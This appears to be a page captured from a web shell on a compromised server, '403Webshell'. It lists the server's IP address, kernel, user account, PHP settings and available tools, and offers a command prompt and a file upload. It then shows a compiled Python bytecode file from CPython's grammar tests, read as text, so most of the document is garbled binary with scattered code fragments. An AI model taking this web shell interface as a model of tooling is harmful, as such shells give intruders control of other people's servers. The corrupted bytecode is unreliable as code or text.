403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/test/__pycache__/test_grammar.cpython-36.pyc
3

�w2_b��(@s.UddlmZddlZddlZddlZddlTddljZddlZddlm	Z	ddl
mZddl
Z
dddd	d
ddd
dddddddddddddgZdddddd d!d"d#d$d%d&d'd(d)d*d+d,d-d.d/d0d1d2d3d4d5d6d7d8d9d:d;d<d=d>d?d@dAdBg(Z
GdCdD�dDej�ZeGdEdF�dF�ZGdGdH�dHej�ZedIk�r*ej�dS)J�)�check_syntax_errorN)�*)�ChainMap)�ann_module2Z0_0_0Z4_2Z1_0000_0000Z0b1001_0100Z0xffff_ffffZ0o5_7_7z	1_00_00.5z1_00_00.5e5Z1_00_00e5_1Z1e1_0z.1_4z.1_4e1Z0b_0Z0x_fZ0o_5Z1_00_00jz
1_00_00.5jZ1_00_00e5_1jz.1_4jz(1_2.5+3_3j)z(.5_6j)Z0_Z42_z1.4j_Z0x_Z0b1_Z0xf_Z0o5_z
0 if 1_Else 1Z0_b0Z0_xfZ0_o5Z0_7Z09_99Z	4_______2z0.1__4z0.1__4jZ0b1001__0100Z0xffff__ffffZ0x___Z0o5__77Z1e1__0Z1e1__0jz1_.4z1_.4jz1._4z1._4jz._5z._5jz1.0e+_1z1.0e+_1jz1.4_jz1.4e5_jZ1_e1z1.4_e1z1.4_e1jZ1e_1z1.4e_1z1.4e_1jz
(1+1.5_j_)z	(1+1.5_j)c@sTeZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�ZdS)�
TokenTestscCs(d}|j|dd�d}|j|dd�dS)N��zbackslash for line continuationrzbackslash ending commentr)�assertEqual)�self�x�r�6/opt/alt/python36/lib64/python3.6/test/test_grammar.py�test_backslashgs
zTokenTests.test_backslashcCsr|jtd�td��|jdd�|jdd�|jdd�|jdd�|jttd�ddlm}|dkr�|jdd�|jd	dk�|jd	dk�|jddk�x�dD]4}yt|�}Wq�tk
r�|j	d|�Yq�Xq�Wn�|dk�r`|jdd�|jddk�|jddk�|jddk�xPdD]8}yt|�}Wn$tk
�rV|j	d|�YnX�q"Wn|j	d|�dS) Nr�i����	Z0x)�maxsizerll���
2147483648�
0o40000000000�0x100000000�"0b10000000000000000000000000000000z(OverflowError on huge integer literal %rl����ll����l�����9223372036854775808�0o2000000000000000000000�0x10000000000000000�A0b100000000000000000000000000000000000000000000000000000000000000zWeird maxsize value %ri�i�i�)rrrrl��������l����l����)rrrr)
r	�type�assertRaises�SyntaxError�eval�sysr�
assertTrue�
OverflowError�fail)r
r�srrrr
�test_plain_integersqs>
zTokenTests.test_plain_integerscCs$d}d}d}d}d}d}d}d}dS)Nrl����l���?l�
~��l!]cll�����r)r
rrrr
�test_long_integers�szTokenTests.test_long_integerscCs0d}d}d}d}d}d}d}d}d}d}d}dS)Ng��Q�	@g�s@gj�t��?g��
�Bg��t� =g�W�H�BgF�@r)r
rrrr
�test_floats�szTokenTests.test_floatscCs6|jdndd�|jdrdndd�|jttd�dS)Nrrz0 if 1Else 0)r	rrr)r
rrr
� test_float_exponent_tokenization�sz+TokenTests.test_float_exponent_tokenizationcCsXx(tD] }|jt|�t|jdd���qWxtD]}|jtt|�q0W|jttd�dS)N�_�Z_0)�VALID_UNDERSCORE_LITERALSr	r�replace�INVALID_UNDERSCORE_LITERALSrr�	NameError)r
Zlitrrr
�test_underscore_literals�s

 
z#TokenTests.test_underscore_literalscCs
d}d}|jt|�dko||k�d}d}|jt|�dkoL||koLt|�dk�d}d}|jt|�dkoz||kozt|�dk�d}d}|jt|�d	ko�||k�d
}d
}|jt|�d	ko�||k�d}d}|j||�d}|j||�d}|j||�d}|j||�dS)Nr(r�'r�'�"�"zdoesn't "shrink" does it�zdoes "shrink" doesn't itz2
The "quick"
brown fox
jumps over
the 'lazy' dog.
)r�len�ordr	)r
r�yrrr
�test_string_literals�s0&&zTokenTests.test_string_literalscCs$d}|j|tk�|jttd�dS)N.z.. .)r�Ellipsisrrr)r
rrrr
�
test_ellipsis�szTokenTests.test_ellipsiscCsJd}x@|D]8}|jt��}t|dd�WdQRX|jdt|j��q
WdS)N�def foo(�	
def foo(�	def foo(
z<test>�execzunexpected EOF)r9r:r;)rr�compileZassertIn�strZ	exception)r
Zsamplesr"�cmrrr
�test_eof_error�s

zTokenTests.test_eof_errorN)�__name__�
__module__�__qualname__rr#r$r%r&r-r6r8r@rrrr
res
$
(rc@s$eZdZdd�Zdd�Zdd�ZdS)�CNScCs
i|_dS)N)�_dct)r
rrr
�__init__�szCNS.__init__cCs||j|j�<dS)N)rE�lower)r
�item�valuerrr
�__setitem__�szCNS.__setitem__cCs
|j|S)N)rE)r
rHrrr
�__getitem__�szCNS.__getitem__N)rArBrCrFrJrKrrrr
rD�srDc@s�eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd �Zd!d"�Zd#d$�Zd%d&�Zd'd(�Zd)d*�Zd+d,�Zd-d.�Zd/d0�Zd1d2�Zd3d4�Zd5d6�Zd7d8�Zd9d:�Ze j!d;d<�d=d>��Z"d?d@�Z#dAdB�Z$dCdD�Z%dEdF�Z&dGdH�Z'dIdJ�Z(dKdL�Z)dMdN�Z*dOdP�Z+dQdR�Z,dSdT�Z-dUdV�Z.dWdX�Z/dYdZ�Z0d[d\�Z1d]d^�Z2d_d`�Z3dadb�Z4dcdd�Z5dedf�Z6dgdh�Z7didj�Z8dkdl�Z9dmdn�Z:dodp�Z;dqdr�Z<dsS)t�GrammarTestscCstd�}dS)Nz	1, 0 or 1)r)r
rrrr
�test_eval_inputszGrammarTests.test_eval_inputcCs@d}dg}dd�}ttgdd||�d<|j|dg�dS)N��*cSsdS)Nrrrrrr
�onesz/GrammarTests.test_var_annot_basics.<locals>.onerr)�int�listr	)r
Zvar1Zmy_lstrPrrr
�test_var_annot_basicss
z"GrammarTests.test_var_annot_basicscCs^t|d�t|d�t|d�t|d�t|d�t|d�t|d�t|d�t|d	�dS)
Nz
def f: intzx: int: strzdef f():
    nonlocal x: int
z[x, 0]: int
z	f(): int
z	(x,): intz"def f():
    (x, y): int = (1, 2)
z!def f():
    x: int
    global x
z!def f():
    global x
    x: int
)r)r
rrr
�test_var_annot_syntax_errorss







z)GrammarTests.test_var_annot_syntax_errorsc	5Cs>|jt��ddtt<WdQRX|jt��dtt<WdQRXdd�}|j|ji�dd�}|�dd�}|jt��|�WdQRXd	d
�}y
|�Wn2tk
r�}z|j	t
|�t�WYdd}~XnXGdd�d�}|j|jttd
��|jt��Gdd�d�}WdQRX|jt��Gdd�d|�}WdQRXdS)NrrcSsd}dt_|S)NZHellorr)rr)�a�b)�strrr
�f4sz6GrammarTests.test_var_annot_basic_semantics.<locals>.fcSsdS)Nrrrrr
�f_OK9sz9GrammarTests.test_var_annot_basic_semantics.<locals>.f_OKcSst|�dS)N)�print)rrrr
�fbad<sz9GrammarTests.test_var_annot_basic_semantics.<locals>.fbadcSstt�dS)N)rZZno_such_globalrrrr
�f2badAsz:GrammarTests.test_var_annot_basic_semantics.<locals>.f2badc@s&eZdZUedZedZdd�ZdS)z6GrammarTests.test_var_annot_basic_semantics.<locals>.C�attrrcSs
||_dS)N)r)r
rrrr
rFNsz?GrammarTests.test_var_annot_basic_semantics.<locals>.C.__init__N)	rArBrCrQ�_C__foor"r>�zrFrrrr
�CJs
r`)r^r"c@seZdZUde_edS)z9GrammarTests.test_var_annot_basic_semantics.<locals>.CBadrN)rArBrCZno_such_name_definedr]rQrrrr
�CBadRs
rac@seZdZUege_edS)z:GrammarTests.test_var_annot_basic_semantics.<locals>.Cbad2N)rArBrCrQrr5rRrrrr
�Cbad2Us
rb)
r�ZeroDivisionErrorZno_nameZdoes_not_existr,r	�__annotations__�UnboundLocalError�	ExceptionZassertIsrrQr>)	r
rXrYr[r\�er`rarbrrr
�test_var_annot_basic_semantics+s,
"z+GrammarTests.test_var_annot_basic_semanticscCs8Gdd�dt�}Gdd�d|d�}|j|jdd�dS)Nc@seZdZedd��ZdS)z>GrammarTests.test_var_annot_metaclass_semantics.<locals>.CMetac[s
dt�iS)Nrd)rD)�metacls�name�bases�kwdsrrr
�__prepare__[szJGrammarTests.test_var_annot_metaclass_semantics.<locals>.CMeta.__prepare__N)rArBrC�classmethodrmrrrr
�CMetaZsroc@seZdZUddS)z;GrammarTests.test_var_annot_metaclass_semantics.<locals>.CC�ANNOTN)rArBrCZXXrrrr
�CC^s
rq)�	metaclassZxxrp)rr	rd)r
rorqrrr
�"test_var_annot_metaclass_semanticsYsz/GrammarTests.test_var_annot_metaclass_semanticscCsj|jt��ttj�WdQRX|jtjdttt	j
ttfd��|jtjjdtd��|jt
ji�dS)Nr)rrr5rX�{)Z123�o)r�AttributeErrorrZ�testrdr	�
ann_modulerQr>�typingZTuple�Mrr)r
rrr
�test_var_annot_module_semanticsbs
z,GrammarTests.test_var_annot_module_semanticscCsnddlm}m}m}|jt��|�WdQRX|jt��|�WdQRX|jt��|d�WdQRXdS)Nr)�	f_bad_ann�	g_bad_ann�	D_bad_annrN)Ztest.ann_module3r|r}r~rr,)r
r|r}r~rrr
�test_var_annot_in_moduleksz%GrammarTests.test_var_annot_in_modulec	CsLi}i}td||�|j|ddtd��|jt��|dWdQRXdS)Nz.'docstring'
__annotations__[1] = 2
x: int = 5
rdr)rr)r<r	rQr�KeyError)r
ZgnsZlnsrrr
�test_var_annot_simple_execvsz'GrammarTests.test_var_annot_simple_execcs�dt�i}td|�|j|ddt�|j|ddt�|jt��|ddWdQRXi�G�fdd�d�}tdi|��|j�ddt�dS)	Nrdz'X: int; Z: str = "Z"; (w): complex = 1jrr_�wcs(eZdZdd�Z�fdd�Zdd�ZdS)z5GrammarTests.test_var_annot_custom_maps.<locals>.CNS2cSs
i|_dS)N)rE)r
rrr
rF�sz>GrammarTests.test_var_annot_custom_maps.<locals>.CNS2.__init__cs||j|<|�|<dS)N)rE)r
rHrI)�	nonloc_nsrr
rJ�s
zAGrammarTests.test_var_annot_custom_maps.<locals>.CNS2.__setitem__cSs
|j|S)N)rE)r
rHrrr
rK�szAGrammarTests.test_var_annot_custom_maps.<locals>.CNS2.__getitem__N)rArBrCrFrJrKr)r�rr
�CNS2�sr�z
x: int = 1)rDr<r	rQr>rr�)r
�nsr�r)r�r
�test_var_annot_custom_mapss

	z'GrammarTests.test_var_annot_custom_mapscsHt��d�i�G��fdd�d�}tdi|��|j�ddt�dS)Nrdcs,eZdZ�fdd�Z�fdd�Zdd�ZdS)z1GrammarTests.test_var_annot_refleak.<locals>.CNS2csd�i|_dS)Nrd)rE)r
)�cnsrr
rF�sz:GrammarTests.test_var_annot_refleak.<locals>.CNS2.__init__cs||j|<|�|<dS)N)rE)r
rHrI)r�rr
rJ�s
z=GrammarTests.test_var_annot_refleak.<locals>.CNS2.__setitem__cSs
|j|S)N)rE)r
rHrrr
rK�sz=GrammarTests.test_var_annot_refleak.<locals>.CNS2.__getitem__N)rArBrCrFrJrKr)r�r�rr
r��sr�zX: strr)rDr<r	r>)r
r�r)r�r�r
�test_var_annot_refleak�s
	z#GrammarTests.test_var_annot_refleakcs�dd�}|�|f�|fi�dd�}dd�}|j|jjd��|j|jjd��d
d�}dd
�}dd�}dd�}dd�}|�|d�|d�|dd�|dd�|�|d�|d�|dd�|dddddddddd�
|d�|d�|dd�|ddd�|dddddddddd�
|dd�|ddd�|dddd�|dddddddddd�
d�dd�}	|	�|	d�|	d��|	g�p�dg�|	f�p�fi�o�f�f�p�i�|	fd di�|	fd di�p�i�d�d!d"�}
|
d�|
dd�|
d�d#di�d�d$d%�}|dd�|ddd�|d��|d�d���|d�d���|d�d&di�d�d'd(�}|�|d�|dd�|d��|d�d���|d�d#di�|fddd)��d�d*d+�}
|
d�|
dd�|
ddd�d�d,d-�}|dd�|ddd�|dddd�d�d.d/�}|�|d�|dd�|d��|d��|fd di�d�d0d1�}|d�|dd�|ddd�d�d2d3�}|dd�|ddd�|dddd�|d��|d�d&di�d�d4d5�}|�|d�|dd�|ddd�|d�d���|fddd)��d�d6d7�}|d�|dd�|ddd�|dddd�|d��|d�d���|d�d��d&di�d�d8d9�}|dd�|ddd�|dddd�|ddddd�|d��|d�d���|d�d��d:di�ytd�d<di�Wntk
�r�YnX|jd=�d>d?�}|d@dA�d@dB�dCdD�}|ddd@dE�|ddd@dFdG�|ddd@dFdH�d@dE�dIdJ�}|ddd@d@dFdK�|ddd@dFd@dL�|jttdM�|jttdN�|jttdO�dPdQ�}|j|d�ddg�dddR��d�dddR�f�|j|d�d�d���d�if�|jttdS�|j|fdTdUdV��fdTdUdV�f�|j|fdWdUidXdTi��fdTdUdV�f�t	|dY�t	|dZ�t
d[�d\dQ�}|j|jd]t
i�td^�d_dQ�}|j|jd;ti�td^�d`dQ�}|j|jd;ti�t
d^�dadQ�}|j|jd;t
i�d�db�dcdQ�}|j|jdddi�ddde�dfdQ�}|j|jddde��d�dddddg�dhdQ�}|j|jdddddg��d�ddidj�dddddddkdldm�dndQ�}|j|jdddddddkdldm��Gdodp�dp�}Gdqdr�dr|�}|j|jjdsdi�|j|jjdsdi�dtdu�}|t
d[�dvdQ��}|j|jd]t
i�d��fdwdQ�}d��fdxdQ�	}ddy��fdzdQ�
}td[��fd{dQ�}d|dQ�}d}dQ�}d~dQ�}ddQ�}d�dQ�}d�dQ�}d�dQ�}d�dQ�}d�dQ�}d�dQ�}d�dQ�}d�dQ�}d�dQ�}d�dQ�}d�dQ�}dS)�NcSsdS)Nrrrrr
�f1�sz%GrammarTests.test_funcdef.<locals>.f1cSsdS)Nr)�one_argumentrrr
�f2�sz%GrammarTests.test_funcdef.<locals>.f2cSsdS)Nr)�two�	argumentsrrr
�f3�sz%GrammarTests.test_funcdef.<locals>.f3r�r�r�cSsdS)Nr)Zone_argrrr
�a1�sz%GrammarTests.test_funcdef.<locals>.a1cSsdS)Nr)r��argsrrr
�a2�sz%GrammarTests.test_funcdef.<locals>.a2cWsdS)Nr)�restrrr
�v0�sz%GrammarTests.test_funcdef.<locals>.v0cWsdS)Nr)rUr�rrr
�v1�sz%GrammarTests.test_funcdef.<locals>.v1cWsdS)Nr)rUrVr�rrr
�v2�sz%GrammarTests.test_funcdef.<locals>.v2rr��rN���rrcSsdS)Nr)rUrrr
�d01�sz&GrammarTests.test_funcdef.<locals>.d01rUcSsdS)Nr)rUrVrrr
�d11�sz&GrammarTests.test_funcdef.<locals>.d11rVcSsdS)Nr)rUrV�crrr
�d21�sz&GrammarTests.test_funcdef.<locals>.d21r�cSsdS)Nr)rUrVrrr
�d02�sz&GrammarTests.test_funcdef.<locals>.d02)rUrVcSsdS)Nr)rUrVr�rrr
�d12�sz&GrammarTests.test_funcdef.<locals>.d12cSsdS)Nr)rUrVr��drrr
�d22�sz&GrammarTests.test_funcdef.<locals>.d22cWsdS)Nr)rUr�rrr
�d01v�sz'GrammarTests.test_funcdef.<locals>.d01vcWsdS)Nr)rUrVr�rrr
�d11v�sz'GrammarTests.test_funcdef.<locals>.d11vcWsdS)Nr)rUrVr�r�rrr
�d21vsz'GrammarTests.test_funcdef.<locals>.d21vcWsdS)Nr)rUrVr�rrr
�d02vsz'GrammarTests.test_funcdef.<locals>.d02vcWsdS)Nr)rUrVr�r�rrr
�d12vsz'GrammarTests.test_funcdef.<locals>.d12vcWsdS)Nr)rUrVr�r�r�rrr
�d22vsz'GrammarTests.test_funcdef.<locals>.d22vr�rsfooz/Bytes should not work as keyword argument namescSs|S)Nr)�keyrrr
�pos0key1(sz+GrammarTests.test_funcdef.<locals>.pos0key1�d)r�)�k2cSs||||fS)Nr)�p1�p2�k1r�rrr
�pos2key2*sz+GrammarTests.test_funcdef.<locals>.pos2key2)r���)r�r�)r�r�c[s|||||fS)Nr)r�r�r�r�Zkwargrrr
�pos2key2dict.sz/GrammarTests.test_funcdef.<locals>.pos2key2dict)r��tokwarg1�tokwarg2)r�r�r�zdef f(*): passzdef f(*,): passzdef f(*, **kwds): passc_s||fS)Nr)r��kwargsrrr
rX7sz$GrammarTests.test_funcdef.<locals>.f)rr5zf(1, x=2, *(3,4), x=5)Z	scrambledZfried)�eggs�spamr�r�z
f(*g(1=2))zf(**g(1=2)))�returncSsdS)Nr)rrrr
rXGsr�)rcSsdS)Nr)rrrr
rXIscWsdS)Nr)rrrr
rXKsc[sdS)Nr)rrrr
rXMs)r5cSsdS)Nr)rr5rrr
rXOsr5)rVr�cSsdS)Nr)rUrVr�r�rrr
rXQs)rVr�rg�gcWsdS)Nr)rUrVr�r�rgrXr�rrr
rXSs�
)�i�j��)rVr�rgr��hr��kr�c_sdS)Nr)rUrVr�r�rgrXr�r�r�r�r�rrr
rXVsc@seZdZdd�dd�ZdS)z'GrammarTests.test_funcdef.<locals>.Spamr)�	_Spam__kwcSsdS)Nr)r
r�rrr
rX]sz)GrammarTests.test_funcdef.<locals>.Spam.fN)rArBrCrXrrrr
�Spam\sr�c@seZdZdS)z&GrammarTests.test_funcdef.<locals>.HamN)rArBrCrrrr
�Ham_sr�r�cSs|S)Nr)rrrr
�nullcsz'GrammarTests.test_funcdef.<locals>.nullcSsdS)Nr)rrrr
rXdscs�S)Nrr)�closurerr
rXjscs�S)Nr)r)r�rr
rXks)r�cs�S)Nr)r�)r�rr
rXlscs�S)Nrr)r�rr
rXmscSsdS)Nr)rUrrr
rXpscWsdS)Nr)r�rrr
rXqsc[sdS)Nr)rlrrr
rXrscWsdS)Nr)rUr�rrr
rXssc[sdS)Nr)rUrlrrr
rXtscWsdS)Nr)rVr�rrr
rXuscSsdS)Nr)rVrrr
rXvsc_sdS)Nr)r�rlrrr
rXwscWsdS)Nr)rUrVr�rrr
rXxscSsdS)Nr)rUrVrrr
rXysc_sdS)Nr)rUr�rlrrr
rXzsc_sdS)Nr)rVr�rlrrr
rX{sc[sdS)Nr)rVrlrrr
rX|sc_sdS)Nr)rUrVr�rlrrr
rX}sc[sdS)Nr)rUrVrlrrr
rX~s)r�)r�r�)r)r)r)r)r)rrr�)r)rr�)rr)r�)rr)rr)rr)r)r)r)rr)rr)r)rrr�r�)r)r)r)rrr�r�)rr)rr)r)rr�r�)rr)rrr�r�)rr)r�r�rN)r)r)rr)rrr�r�)rr)r�r�rN)r)rr�)r)r)rr�r�)r)rr�)r�)rrr�r�r�)r�rN)r�rN)r)r	�__code__�co_varnamesr>�	TypeErrorr!rrrrrRrdrQ�floatrX)r
r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rXr�r�r�r)r�r
�test_funcdef�sn







 

























zGrammarTests.test_funcdefcCsXdd�}|j|�d�dd�}dd�}|j|�dddg�d$dd�fdd�fd	d�}|j|�d�d%dd�}|j|dd
�d�|j|dd
d
�d�t|d�t|d�dd�dd�}|j|dd
�d'�|j|dd
dd�d)�dd�}dd�}dd�}	dd�}
dd�}dd�}dd�}
dd�}dd�}dd�}dd�}d d�}d!d�}d"d�}d#d�}dS)*NcSsdS)Nrrrrrr
�<lambda>�sz+GrammarTests.test_lambdef.<locals>.<lambda>rcSsttS)N)rUr�rrrr
r��scSsdd�dD�S)NcSsg|]}d|k�qS)rr)�.0rrrr
�
<listcomp>�sz?GrammarTests.test_lambdef.<locals>.<lambda>.<locals>.<listcomp>rr�r���)r�r�rrrrrr
r��srcSs|S)Nr)r_rrr
r��scSs|�S)Nr)r5rrr
r��scSs|�S)Nr)rrrr
r��srcSs|||S)Nr)rr5r_rrr
r��srNr�r�zlambda x: x = 2zlambda (None,): None�)r�cSs|||S)Nr)rr5r�rrr
r��sr�cSsdS)Nrr)rUrrr
r��scWsdS)Nrr)r�rrr
r��sc[sdS)Nrr)rlrrr
r��scWsdS)Nrr)rUr�rrr
r��sc[sdS)Nrr)rUrlrrr
r��scWsdS)Nrr)rVr�rrr
r��scSsdS)Nrr)rVrrr
r��sc_sdS)Nrr)r�rlrrr
r��scWsdS)Nrr)rUrVr�rrr
r��scSsdS)Nrr)rUrVrrr
r��sc_sdS)Nrr)rUr�rlrrr
r��sc_sdS)Nrr)rVr�rlrrr
r��sc[sdS)Nrr)rVrlrrr
r��sc_sdS)Nrr)rUrVr�rlrrr
r��sc[sdS)Nrr)rUrVrlrrr
r��s)r)rr��r��
)r	r)r
�l1�l2�l3�l4�l5�l6�l10Zl11Zl12Zl13Zl14Zl15Zl16Zl17Zl18Zl19Zl20Zl21Zl22Zl23Zl24rrr
�test_lambdef�s<


zGrammarTests.test_lambdefcCsd}~dd�}|�dS)NrcSs
d}~dS)Nrr)rrrr
�foo�sz*GrammarTests.test_simple_stmt.<locals>.foor)r
rr�rrr
�test_simple_stmt�szGrammarTests.test_simple_stmtc	CsVdd}d}d	}}}d
\}}}d}\}}}\}}}}t|d�t|d�dS)
Nrrr�r�z	x + 1 = 1z
a + 1 = b + 2)rrr�)rrr�)rrr�)rrr��r�r�)rrr�)r)	r
rr5r_�abcrUrVr��xyzrrr
�test_expr_stmt�s

zGrammarTests.test_expr_stmtc Cs�d}ddddddg}x�|D]�}d	j|�}x�|D]�}|j|�}|j|d
��&|jt|��t|�WdQRXWdQRX|jdd�}|j|d
��&|jtd
��t|�WdQRXWdQRXq.WqWdS)NrZr<z{} fooz{} {{1:foo}}zif 1: {} foozif 1: {} {{1:foo}}zif 1:
    {} foozif 1:
    {} {{1:foo}}zcall to '{}')�sourcer�z(foo.)zinvalid syntax)rZr<)�formatZsubTestZassertRaisesRegexrr<r*)r
�keywordsZcases�keywordZ
custom_msgZcaser�rrr
�(test_former_statements_refer_to_builtins�s$



z5GrammarTests.test_former_statements_refer_to_builtinscCs,dddg}|\}}}|||f}~~~~~dS)Nrrr�r)r
r�rr5r_r�rrr
�
test_del_stmt�s



zGrammarTests.test_del_stmtcCsdS)Nr)r
rrr
�test_pass_stmt�szGrammarTests.test_pass_stmtcCsxPqWdS)Nr)r
rrr
�test_break_stmt�szGrammarTests.test_break_stmtc
Cs�d}x|rd}qqWd}x(|s@d}y
wd}Wqd}YqXqW|dkrT|j|�d}x|srd}zwZWdd}XqZW|dkr�|j|�dS)Nrrr(�okz&continue failed to continue inside tryz'continue inside try called except blockzfinally block not called)r!)r
r��msgrrr
�test_continue_stmt�s,

zGrammarTests.test_continue_stmtcsd�fdd�	}|�dS)Nrrc	shd}xD|rH|d7}y$|r*|dkr*|d8}P|d8}wWq�YqXqW|dksZ|dkrd�jd�dS)Nrrz1continue then break in try/except in loop broken!)r!)Zextra_burning_oil�countZ	big_hippo)r
rr
�
test_innersz9GrammarTests.test_break_continue_loop.<locals>.test_inner)rrr)r
r�r)r
r
�test_break_continue_loops
z%GrammarTests.test_break_continue_loopcCs*dd�}dd�}|�|�}t|d�dS)NcSsdS)Nrrrrr
�g1"sz$GrammarTests.test_return.<locals>.g1cSsdS)Nrrrrrr
�g2#sz$GrammarTests.test_return.<locals>.g2zclass foo:return 1)r)r
r�r�rrrr
�test_return s
zGrammarTests.test_returnc
Cs:d}x|dkr"|d7}zWdPXqW|j|d�d}x |dkrT|d7}zw6WdPXq6W|j|d�d}x&|dkr�|d7}zddWdPXqhW|j|d�x"dD]}|j|d�zWdPXq�W|j|d�x$dD]}|j|d�zw�WdPXq�W|j|d�x,dD]$}|j|d�zddWdPX�qW|j|d�dS)Nrrr)rr)rr)rr)r	)r
r�rrr
�test_break_in_finally(sN






z"GrammarTests.test_break_in_finallycCsFdd�}|j|�d�dd�}|j|�d�dd�}|j|�d	�dS)
Nc
Ss
zWddS)Nrrrrrr
r�]sz/GrammarTests.test_return_in_finally.<locals>.g1rc
Ss
zdSdS)Nrr�rrrrr
r�dsz/GrammarTests.test_return_in_finally.<locals>.g2r�c
SszddWddS)Nrrr�rrrrr
�g3ksz/GrammarTests.test_return_in_finally.<locals>.g3r�)r	)r
r�r�r�rrr
�test_return_in_finally\sz#GrammarTests.test_return_in_finallycCs�dd�}dd�}dd�}dd�}dd�}dd�}t|d�t|d	�d
d�}dd�}t|d�t|d
�dd�}dd�}dd�}dd�}t|d�t|d�t|d�t|d�t|d�t|d�t|d�t|d�t|d�dS)Ncss
dVdS)Nrrrrrr
r�tsz"GrammarTests.test_yield.<locals>.gcssfEdHdS)Nrrrrr
r�uscss
dV}dS)Nrr)rrrr
r�wscssfEdH}dS)Nr)rrrr
r�xscss
dVdS)Nr)rrrrrrr
r�zscss
dV}dS)Nr)rrr)rrrr
r�{szdef g(): yield from (), 1zdef g(): x = yield from (), 1cssddVfdS)Nrrrrrr
r��scssdfEdHfdS)Nrrrrrr
r��szdef g(): 1, yield 1zdef g(): 1, yield from ()csstdV�dS)Nr)rXrrrr
r��scsstdVd�dS)Nr)rXrrrr
r��scsstfEdH�dS)N)rXrrrr
r��scsstfEdHd�dS)Nr)rXrrrr
r��szdef g(): f(yield 1)zdef g(): f(yield 1, 1)zdef g(): f(yield from ())zdef g(): f(yield from (), 1)�yieldz
yield fromzclass foo:yield 1zclass foo:yield from ()zdef g(a:(yield)): pass)r)r
r�rrr
�
test_yieldrs2











zGrammarTests.test_yieldcCsDytd��Wntk
r YnXyt�Wntk
r>YnXdS)Nzjust testing)�RuntimeError�KeyboardInterrupt)r
rrr
�
test_raise�szGrammarTests.test_raisecCsdddl}ddl}ddl}ddlm}ddlm}ddlm}m}ddlm}m}ddlm}m}dS)Nr)�time)�path�argv)rr�r�r�)r
rr�r�r�rrr
�test_import�szGrammarTests.test_importcCsdS)Nr)r
rrr
�test_global�szGrammarTests.test_globalcsd�d���fdd�}dS)NrcsdS)Nrr)rr5rr
rX�sz%GrammarTests.test_nonlocal.<locals>.fr)r
rXr)rr5r
�
test_nonlocal�szGrammarTests.test_nonlocalcCs�dst�dstd��dd�s t�ds0tdd���yds:t�Wn,tk
rh}z|jd�WYdd}~XnXydsxtd��Wn,tk
r�}z|jd�WYdd}~XnXdS)	NrcSs|S)Nr)rrrr
r��sz*GrammarTests.test_assert.<locals>.<lambda>cSs|dS)Nrr)rrrr
r��sTz6'assert True' should not have raised an AssertionErrorzthis should always passz;'assert True, msg' should not have raised an AssertionError)�AssertionErrorr!)r
rgrrr
�test_assert�szGrammarTests.test_assertTz Won't work if __debug__ is FalsecCs�ydstd��Wn4tk
rD}z|j|jdd�WYdd}~XnX|jd�ydsZt�Wn4tk
r�}z|jt|j�d�WYdd}~XnX|jd�dS)Nrr�z%AssertionError not raised by assert 0Fz+AssertionError not raised by 'assert False')r�r	r�r!r3)r
rgrrr
�testAssert2�s$
$zGrammarTests.testAssert2cCsdS)Nr)r
rrr
�test_if�szGrammarTests.test_ifcCsd}d}|j|d�dS)Nrr)r	)r
rrrr
�
test_while�szGrammarTests.test_whilecCs�xd
D]}qWxfD]
\}}}qWGdd�d�}d}x|d�D]}||}q>W|dkr`|jd	�g}xdD]\}|j|�qjW|j|dddg�dS)Nrrr�c@s$eZdZdd�Zdd�Zdd�ZdS)z&GrammarTests.test_for.<locals>.SquarescSs||_g|_dS)N)�max�sofar)r
rrrr
rFsz/GrammarTests.test_for.<locals>.Squares.__init__cSs
t|j�S)N)r3r)r
rrr
�__len__sz.GrammarTests.test_for.<locals>.Squares.__len__cSsXd|ko|jknst�t|j�}x$||krL|jj||�|d}q*W|j|S)Nrr)r�
IndexErrorr3r�append)r
r��nrrr
rKs

z2GrammarTests.test_for.<locals>.Squares.__getitem__N)rArBrCrFrrKrrrr
�Squaressr
rr�izfor over growing sequence)rrr��r�r�r�)rrr
)r!rr	)r
r�r�r�r
r	r�resultrrr
�test_for�s

zGrammarTests.test_forc5Cs�yddWntk
r YnXyddWn>tk
rBYn,tk
rb}zWYdd}~XnYnXyddWntttfk
r�YnXyddWn(tttfk
r�}zWYdd}~XnXzWdXdS)Nrr)rc�EOFErrorr�)r
r�rrr
�test_trys.zGrammarTests.test_trycCsdS)Nr)r
rrr
�
test_suite,szGrammarTests.test_suitecCsLdsdrdrdsdrdsdr*dr*dr*dr2dsHdr>dr>dsHdrHdrHdS)Nrr)r
rrr
�	test_test;szGrammarTests.test_testcCs�ddk}ddkrddkrddkr ddkr(ddkr0ddkr8ddkr@ddk	rHdfkrPdfkrXddko�dko�dko�dko�dko�dko�dko�dko�dko�dk	nr�dS)Nrr)r
rrrr
�test_comparisonFshzGrammarTests.test_comparisoncCsd}d}d}dS)Nrrrrr)r
rrrr
�test_binary_mask_opsWsz!GrammarTests.test_binary_mask_opscCsd}d}d}dS)Nrrrrrr)r
rrrr
�test_shift_ops\szGrammarTests.test_shift_opscCsd}d}d}d}dS)	Nrrrr�rrrrr)r
rrrr
�test_additive_opsaszGrammarTests.test_additive_opscCsd}d}d}d}dS)Nrrg�?rg�?g�?gr)r
rrrr
�test_multiplicative_opsgsz$GrammarTests.test_multiplicative_opscCsd}d}d}d}d}dS)Nrrr����rrr�rr�rr�r�r�g�rgr�rr�r�g�?r)r
rrrr
�test_unary_opsms
zGrammarTests.test_unary_opsc	Cs�ddl}ddl}|jd}|j�}|jdj�}d}|d}|d
}|dd�}|dd�}|dd�}|dd�}|dd�}|dd�}|dd�}i}d|d<d|d<d|d<d|d<t|�}|jd	d
